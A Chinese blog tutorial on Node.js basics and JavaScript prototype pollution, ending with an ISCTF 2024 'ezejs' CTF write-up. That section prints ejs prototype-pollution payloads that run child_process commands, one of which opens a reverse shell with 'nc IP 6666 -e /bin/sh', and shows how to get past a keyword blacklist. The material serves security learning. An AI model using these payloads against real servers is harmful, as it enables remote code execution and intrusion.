0%

Node.js|原型链污染

前言:

做2024isctf碰到的一题原型链污染,之前也碰到过好几次,本来以为已经懂了但是做的时候发现自己还是做不出来。所以进行一次系统的学习。也是顺便简单的学习了一下Node.js(如果有时间的话会出一篇系统学习js的文章)

一、Node.js基础

简介

Node.js是一个基于Google的V8 JavaScript引擎的JavaScript运行环境,是一个由C++开发的JavaScript语言解释器。

Node.js基于事件驱动的非阻塞I/O模型(输入/输出模型)的核心思想,在处理I/O操作时,Node.js不会阻塞线程,而是将I/O操作的结果作为事件通知应用程序。使得Node.js应用程序可以同时处理大量并发请求,具有出色的性能和可扩展性。

同步异步

Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本

  • 同步:等待每个操作完成,然后只执行下一个操作
  • 异步:从不等待每个操作完成,而是只在第一步执行所有操作

简单来说,异步就是边打CTF边写wp;同步就是打完CTF再写wp

声明变量

varlet是用于声明变量的关键字。

区别:

  • var:

    1. 作用域:具有函数作用域或全局作用域,在函数内部声明,那么它仅在该函数及其子函数内有效;如果在函数外部声明,则它是全局作用域的。
    2. 重新声明:在同一个作用域内,你可以多次声明同一个变量名,最后一次声明会覆盖前面的声明。
    3. 临时死区 (TDZ):由于JavaScript 声明提升,不存在。
    4. 全局对象属性:在全局作用域中使用 var 声明的变量会被添加到全局对象(如 window 在浏览器环境中)上。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    // 全局作用域
    var x = 1;

    if (true) {
    var x = 2; //这里重新声明和赋值了x,x将被提升到全局作用域
    console.log(x);
    }

    console.log(x);

    //函数作用域
    function Test() {
    var y = 'Hacker';
    if (true) {
    var y = 'TGlu'; //再次声明 y,不会创建新的变量
    }
    console.log(y);
    }

    Test();

    //变量提升
    console.log(z); //由于变量提升,z 已经声明但未初始化
    var z = 3;

    //2
    //2
    //TGlu
    //undefined
  • let:

    1. 作用域:具有块级作用域,只在被声明的代码块{...}内有效。
    2. 重新声明:在同一个作用域内,let 不允许重新声明同名变量。如果尝试这么做,会抛出一个 SyntaxError
    3. 临时死区 (TDZ):存在一个称为“临时死区”的概念,即在变量声明之前的任何代码中引用该变量都会抛出 ReferenceError
    4. 全局对象属性:不会自动添加到全局对象上。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    //块级作用域
    let a = 1;

    if (true) {
    let a = 2; //这是一个新的a,只在if块内有效
    console.log(a); //输出 2
    }

    console.log(a); //输出 1,因为外部的a没有被改变

    //不能重复声明
    try {
    let b = 1;
    let b = 2; //这行会抛出SyntaxError,因为不能在同一个块中重新声明同一个变量
    } catch (e) {
    console.log(e.message); //输出"Identifier 'b' has already been declared"
    }

    //重新赋值
    let d = 5;
    d = 10; //可以重新赋值
    console.log(d); //输出10

通常情况下推荐使用let来声明变量,除非存在变量提升

声明常量

const是一个用于声明常量的关键字。使用 console.log() 来输出。

  • 作用域:具有块级作用域。
  • 重新声明:不能在同一个作用域内重新声明。一旦赋值就不能被重新赋值(即不能改变引用)。
  • 临时死区 (TDZ):存在一个称为“临时死区”的概念,即在变量声明之前的任何代码中引用该变量都会抛出 ReferenceError
  • 全局对象属性:不会自动添加到全局对象上。

虽然const声明的变量的值是不可变的,但如果变量是一个对象或数组,它们的属性或元素可以被修改。这是因为const只限制了变量的指向,而不限制对象或数组本身的修改。

1
2
3
4
5
6
7
8
const person = {
name: 'TGlu',
age: 20
};

console.log(person);

//{ name: 'TGlu', age: 20 }

全局变量

  • __dirname:当前模块的目录名。

    1
    2
    3
    console.log(__dirname);

    //C:\Users\LEOVO1\AppData\Roaming\JetBrains\WebStorm2024.2\scratches
  • __filename:当前模块的文件名。 这是当前的模块文件的绝对路径(符号链接会被解析)。

    1
    2
    3
    console.log(__filename);

    //C:\Users\LEOVO1\AppData\Roaming\JetBrains\WebStorm2024.2\scratches\scratch.js
  • exports变量:默认赋值给module.exports。它可以被赋予新值,从而暂时不会绑定到module.exports。

  • module:在每个模块中, module 的自由变量是对表示当前模块的对象的引用。 为方便起见,还可以通过全局模块的 exports 访问 module.exports。 module 实际上不是全局的,而是每个模块本地的

  • require模块:用于引入模块、 JSON、或本地文件。可以从 node_modules引入模块。

1
2
3
4
5
// 引入JSON文件
const jsonData = require(‘./path/file.json’);

// 引入模块
const crypto = require(‘crypto’);

对象

在js中几乎所有的事物都是对象

1
2
3
4
5
6
7
8
9
let a= {					//定义一个变量a,这里的a就是对象
"name":"TGlu", //定义一个name属性
"age":20 //定义一个age属性
}
console.log(a.name); //访问a中的name属性
console.log(a["age"]); //访问a中的age属性

//TGlu
//20

可以看到访问对象的属性有两种方式

1
2
a.name
a["name"]

对象和函数之间的区别:对象是由函数创建的,函数实际上是另外一种对象。

函数

使用 function关键字声明一个函数。

基础的三种函数:

  • 普通函数:最常见的函数形式,可以有参数和返回值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var a= "TG";
    var b= "lu";

    function name(a, b) {
    return a+b;
    }
    console.log(name(a,b));

    //TGlu
  • 匿名函数:没有名字的函数,通常作为参数传递给其他函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 定义一个接受函数作为参数的函数
    function doSomething(a) {
    a(); // 调用函数
    }

    // 使用匿名函数作为参数
    doSomething(function() {
    console.log('TGlu');
    });

    //TGlu

  • // 定义一个接受函数作为参数的函数
    function fetchData(callback) {
            const data = 'TGlu';
            callback(data);     // 调用传递的回调函数
    }
    
    // 使用回调函数作为参数
    fetchData((data) => {
        console.log(data);
    });
    
    //TGlu
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32

    ![](https://s2.loli.net/2024/12/24/v5Kztas4fh1kCMD.png)

    完整的函数学习:[Node.js 函数](https://www.runoob.com/nodejs/nodejs-function.html)

    ## 模块系统

    Node.js的模块分为三个

    - 内置模块:Node.js 自带的模块,如 `fs`、`http`、`path`、`os`、`crypto` 等。
    - 自定义模块:由开发者创建的模块。
    - 第三方模块:通过npm安装的模块,如 `express`、`lodash` 等。

    导入模块都用require()函数即可,但是导入第三方模块时需要先 npm安装;自定义模块用`module.exports` 或 `exports` 将函数、对象或变量导出

    例:

    ```js
    //内置模块
    const fs = require('fs');

    //自定义模块导入
    var hello = require('./hello');
    hello.world();
    //自定义模块导出
    exports.world = function() {
    console.log('Hello World');
    }

    //第三方模块
    npm install express
    const express = require('express');

接下来介绍几个比较重要的模块

fs模块(文件系统)

由于完整的模块学习内容过多,这边就只介绍读取文件

完整的模块学习:Node.js v20.18.0 文档

读取文件有两种方式::

  • 异步读取:fs.readFile(path[, options], callback)
  • 同步读取:fs.readFileSync(path[, options], callback)

先准备一个1.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var fs = require("fs");

// 异步读取
fs.readFile('1.txt', function (err, data) {
if (err) {
return console.error(err);
}
console.log("异步读取: " + data.toString());
});

console.log("程序执行结束!");

//程序执行结束!
//异步读取: TGlu

1
2
3
4
5
6
7
8
9
var fs = require("fs");

// 同步读取
var data = fs.readFileSync('1.txt');
console.log("同步读取: " + data.toString());
console.log("程序执行结束!");、

//同步读取: TGlu
//程序执行结束!

通过两种方式运行的结果可以发现异步方式明显阻碍了代码执行。

http模块

这里只介绍http.createServer()方法

完整的模块学习:Node.js v20.18.0 文档Node.js 教程

创建并运行一个简单的 HTTP 服务器:http.createServer([options][, requestListener])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const http = require('http');

const server = http.createServer((req, res) => { //创建一个服务器,并提供一个请求处理函数作为参数。req:请求对象,包含了 HTTP 请求的所有信息;res:响应对象,用于构建和发送 HTTP 响应。
// 处理请求逻辑
// 这里我们简单地返回一个 "TGlu" 的文本响应
res.statusCode = 200;
res.setHeader('Content-Type', 'text/plain');
res.end('TGlu\n');
});

const PORT = 3000;
server.listen(PORT, 'localhost', () => { //启动服务器,指定端口和可选的主机地址
console.log(`Server running at http://localhost:${PORT}/`);
});

child_process模块(创建子进程)

在上一篇Node.js|node-serialize序列化与反序列化已经提及过了这边就不介绍了

完整的child_process模块学习:Node.js v22.12.0 文档

二、原型链污染

prototype(原型)

在 js 中每个函数都有一个 prototype 属性,它是从一个函数指向一个对象

1
2
3
4
5
6
function a(){}
console.log(a.prototype);
console.log(a.prototype.constructor);

//{}
//[Function: a]

声明了一个函数a,浏览器就自动在内存中创建一个对象b,a函数默认有一个属性prototype指向了这个对象b,b就是函数a的原型对象。a.prototype是一个空对象,所以console.log()输出{}

对象b默认有属性constructor指向函数a。a.prototype.constructor是函数a的原型对象的constructor属性,它指向函数a本身,所以console.log()输出[Function: a]。

1
2
3
4
5
6
7
8
9
10
11
12
function User(){
this.name = "TGlu"
}

User.prototype.a = function a(){
console.log(this.name)
}

let user = new User()
user.a()

//TGlu

通过User函数的prototype属性,,指向道User函数的原型对象中创建一个新的方法a。

实例化后的对象拥有这个属性中的所有方法和变量,所以这里实例化后的对象user拥有login方法

proto

但是实例化出来后的对象不能够通过prototype访问原型需要通过__proto__

1
2
3
4
5
6
7
8
9
function A(){}
let a = new A()
console.log(A.prototype == a.__proto__)
console.log(a.__proto__)
console.log(a.__proto__.constructor)

//true
//{}
//[Function: A]

a.__proto__是实例a的原型对象,指向函数A的原型对象。A.prototypea.__proto__实际上指向同一个对象,所以console.log()输出true。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function User(){
this.name = "TGlu"
}

User.prototype.a = function a(){
console.log(this.name)
}

let user = new User()
console.log(user.__proto__)
console.log(user.__proto__.constructor)

//{ a: [Function: a] }
//[Function: User]

原型链

每个对象都有一个指向它的原型的内部链接,而这个原型对象又有他自己的原型,直到 null 为止。多个对象层层继承,实例对象的原型链接形成了一条链,也就是js的原型链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function User(){
this.name = "TGlu"
}

User.prototype.a = function a(){
console.log(this.name)
}

let user = new User()
console.log(user.name)
console.log(user.__proto__)
console.log(user.__proto__.__proto__)
console.log(user.__proto__.__proto__.__proto__)

//TGlu
//{ a: [Function: a] }
//[Object: null prototype] {}
//null

在调用user.name时,实际上JavaScript引擎会进行如下操作:

  1. 在实例化对象user中找name
  2. 没找到,在user.__proto__找name
  3. 如果还是没找到就继续叠加__proto__,以此类推
  4. 直到找到null结束,null表示原型链的终点。如果在整个原型链中都没有找到last_name,则返回undefined

该段代码的原型链:

原型链污染

如果修改了一个对象的原型,那么会影响所有来自于这个原型的对象,这就是原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function User(){
let a= {"name":"TGlu"}
console.log(a.name)

a.__proto__.name = "xiaoming"
console.log(a.name)

let b = {}
console.log(b.name)
}

User()

//TGlu
//TGlu
//xiaoming

可以看到b是一个空对象,但是b.name的输出为xiaoming。因为b的原型对象是Object.prototype,而Object.prototype的name属性已经被设置为xiaoming。

当调用a.name时,无论有无更改,a对象自身的name属性会屏蔽原型对象Object.prototype上的同名属性。所以还是输出TGlu。

当调用b.name时,会先在b对象里找name属性,在b对象里没找到就继续找,在Object.prototype对象里找到name属性。所以输出xiaoming。

原型链污染的情境

通常出现在对象,数组的键名或者属性名可控,同时是赋值语句的情况下 ( 通常使用 json 传值 )

危险函数:

merge

合并对象的方法,合并两个对象或者多个对象的属性。最容易被原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function merge(object1, object2){						//merge函数接受两个参数object1,object2
for (let key in object2) { //使用for循环来迭代object2里的属性
if (key in object2 && key in object1) { //检查当前属性key是否同时存在于对象object1和对象object2中(检查是不是同名属性)
merge(object1[key], object2[key]) //同名属性,递归调用merge函数来合并这两个嵌套的对象,继续迭代它们的属性
} else {
object1[key] = object2[key] //不是同名属性,将对象object2中的属性复制到对象object1中。
}
}
}

const target = {
name: 'TGlu',
age: 20,
};

const source = {
age: 30,
sex: 'male'
};

merge(target, source);

console.log(target);
console.log(source);

//{ name: 'TGlu', age: 20, sex: 'male' }
//{ age: 30, sex: 'male' }

可以看到source对象已经被合并到target对象里了

现在我们假设source是一个可以构造的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function merge(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

const target = {
name: 'TGlu',
age: 20,
}

const source = {
name: '',
__proto__:{"cmd":"whoami"}
}

merge(target, source)

console.log(target)

const object= {} //定义一个新的空对象
console.log(object.cmd)


//{ name: 'TGlu', age: 20, cmd: 'whoami' }
//undefined



JSON.parse('{}')

可以发现已经合并成功了,但是原型链没有被污染,object对象里还是没有cmd属性。

这是因为构造的过程中,遍历source的所有key得到的结果是[name,cmd],__proto__是一个特殊属性并不是一个key,所以不会污染Object的原型。

这时候就需要利用JSON.parse():解析 JSON 字符串,构造字符串描述的 JavaScript 值或对象。从而让__proto__被认为是个key。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function merge(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

const target = {
name: 'TGlu',
age: 20,
}

const source = JSON.parse('{"name": "","__proto__":{"cmd":"whoami"}}')

merge(target, source)

console.log(target)
console.log(target.cmd)

const object= {}
console.log(object.cmd)

//{ name: 'TGlu', age: 20 }
//whoami
//whoami

可以看到target对象和新建的object对象都存在cmd属性了,污染成功。

clone

创建一个新的对象,并复制原对象的属性和值。

1
2
3
const clone = (a) => {
return merge({}, a);
}

其余用法其实跟merge差不多

eval

1
2
3
4
5
6
7
8
var Object = {};
var code = "this.__proto__.a = 'TGlu';"; // 向原型对象添加属性

eval(code); // 执行代码

console.log(Object.a);

//TGlu

eval函数会将字符串代码作为JavaScript代码进行解析和执行,因此会向Object的原型对象中添加一个属性a。

三、例题

2024isctf ezejs

下载附件得到源码进行代码审计,先找到关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//app.js
users={"guest":"123456"}
function copy(object1, object2){ //构造copy函数,类似merge
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
// 首页展示
app.get('/', (req, res) => {
res.render('index');
});
// backdoor
app.post('/UserList',(req,res) => {
user = req.body //从HTTP请求中获取请求体通过POST请求发送的数据
const blacklist = ['\\u','outputFunctionName','localsName','escape'] //设置黑名单
const hacker = JSON.stringify(user) //将JavaScript对象user转换为JSON字符串
for (const pattern of blacklist){
if(hacker.includes(pattern)){
res.status(200).json({"message":"hacker!"});
return
}
}
copy(users,user);
res.status(200).json(user);
});

可以发现这是一个ejs模板,在根据我们分析出来的很可能存在原型链污染,那么我们可以联想到ejs原型链污染rce

这段代码其实就是两个功能点

  • 展示主页(/view/index.ejs)
  • 后门接口(/UserList)

利用这个后门接口,我们可以注入恶意代码到原型链中

构造user对象从而实现原型链污染并且执行rce

1
2
3
4
5
6
7
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

{"__proto__":{"localsName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

{"__proto__":{"escape":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

{"__proto__":{"destructuredLocals":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

由于黑名单中限制了outputFunctionNamelocalsNameescape所以我们使用destructuredLocals

抓包用POST传入

1
2
3
4
5
6
7
{
"__proto__":{
"destructuredLocals":[
"_tmp1;global.process.mainModule.require('child_process').exec('nc IP 6666 -e /bin/sh');var __tmp2"
]
}
}

这题应该是环境有问题,user获取不到传入的POST请求的数据

参考资料:

https://juejin.cn/post/7218117377053098039

https://nodejs.cn/api/v20/documentation.html

https://www.runoob.com/nodejs/nodejs-web-module.html

https://xz.aliyun.com/t/13065?time__1311=GqmhBK4%2BxGxAx05qftGOCGCD97afxG8CIWeD#toc-6